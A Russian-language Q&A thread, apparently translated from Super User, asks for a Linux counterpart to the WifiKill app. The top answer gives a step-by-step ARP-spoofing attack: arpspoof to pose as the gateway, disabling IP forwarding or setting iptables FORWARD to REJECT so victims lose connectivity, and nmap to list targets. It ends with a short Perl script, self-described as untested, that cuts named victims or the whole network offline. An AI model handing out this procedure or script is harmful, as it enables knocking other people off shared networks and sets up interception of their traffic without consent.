-1

Существует ли какая-либо (желательно Linux) программа, похожая на приложение WifiKill для Android?

2 ответа2

4

Итак, Android - это Linux, поэтому вы можете повторить действия Ponury's WifiKill на вашем компьютере с Linux

WifiKill делает две вещи:

  1. Он маскируется под шлюз, поэтому жертвы будут отправлять пакеты на телефон, а не отправлять их на шлюз.
  2. Отключает пересылку пакетов. Таким образом, жертвы отправят все пакеты на ваш компьютер, которые будут отбрасывать их

Для маскировки вам нужен ARP-спуфинг. Вы можете использовать команду arpspoof из dsniff:

  1. Во-первых, вы должны знать IP шлюза. Запустите route -n в терминале и получите IP шлюза оттуда. В наиболее распространенном случае (вы подключены только к беспроводной сети) шлюзом будет запись с 0.0.0.0 . Вы можете использовать route -n|grep ^0.0.0.0|cut -d' ' -f 10 чтобы получить IP-адрес шлюза по умолчанию
  2. Затем используйте arpspoof чтобы маскироваться под ворота. Запустите arpspoof $IP от имени пользователя root, если вы хотите уничтожить всю сеть, кроме вас, или запустите arpspoof -t $VICTIM_IP $IP для каждой жертвы, если вы хотите убить только определенные хосты

Теперь вы маскируетесь под шлюз сети. Все пакеты, отправленные жертвами, отправляются на ваш компьютер. Теперь вам нужно отключить пересылку пакетов. Для этого запустите echo -n 0 > /proc/sys/net/ipv?/ip_forward от имени пользователя root. Это отбросит все пакеты, отправленные жертвами

Прошло много времени с тех пор, как я в последний раз использовал WifiKill , но я помню, что у него была возможность отклонять пакеты вместо того, чтобы отбрасывать их [отклонение дает людям мгновенную ошибку соединения, а удаление - время ожидания всех их соединений]. Для этого вам необходимо:

  1. Включите пересылку пакетов, запустив echo -n 1 > /proc/sys/net/ipv?/ip_forward от имени пользователя root
  2. Установите политику FORWARD по умолчанию для netfilter REJECT. Запустите iptables -P FORWARD REJECT . Конечно, вы можете использовать iptables для сколь угодно сложных правил брандмауэра

WifiKill также перечисляет онлайн-хосты. Чтобы сделать это в Linux, вы можете использовать nmap для проверки связи хостов в заданном диапазоне. Например, если вы хотите узнать, какие хосты находятся в сети в диапазоне от 192.168.1.1 до 192.168.1.254 вы можете запустить nmap -sP 192.168.1.1-254 . Хотя в этом списке компьютеров со скрытыми брандмауэрами нет, вы все равно можете убить эти компьютеры, если убьете всех в сети или знаете их точный IP-адрес.

Там может быть программа, которая делает то, что я перечислил выше, но для общего случая вы можете написать скрипт:

#!/usr/bin/perl -w
#This is untested code. Compiling works, but I haven't tested anything more
my $gw=`route -n|grep ^0.0.0.0|cut -d' ' -f 10`;
if (@ARGV) {
  print "arpspoof -t $_ $gw &" for (@ARGV);
} else {
  print "arpspoof $gw &";
}
system "echo 0 > $_" for(</proc/sys/net/ipv?/ip_forward>);

Сохраните это как kill.pl затем назовите его как ./kill.pl $IP1 $IP2 ... $IPn для уничтожения $IP1 , $IP2 , ..., $IPn или as ./kill.pl для уничтожения всех хостов

0

Netcut для Windows выполняет аналогичную задачу.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .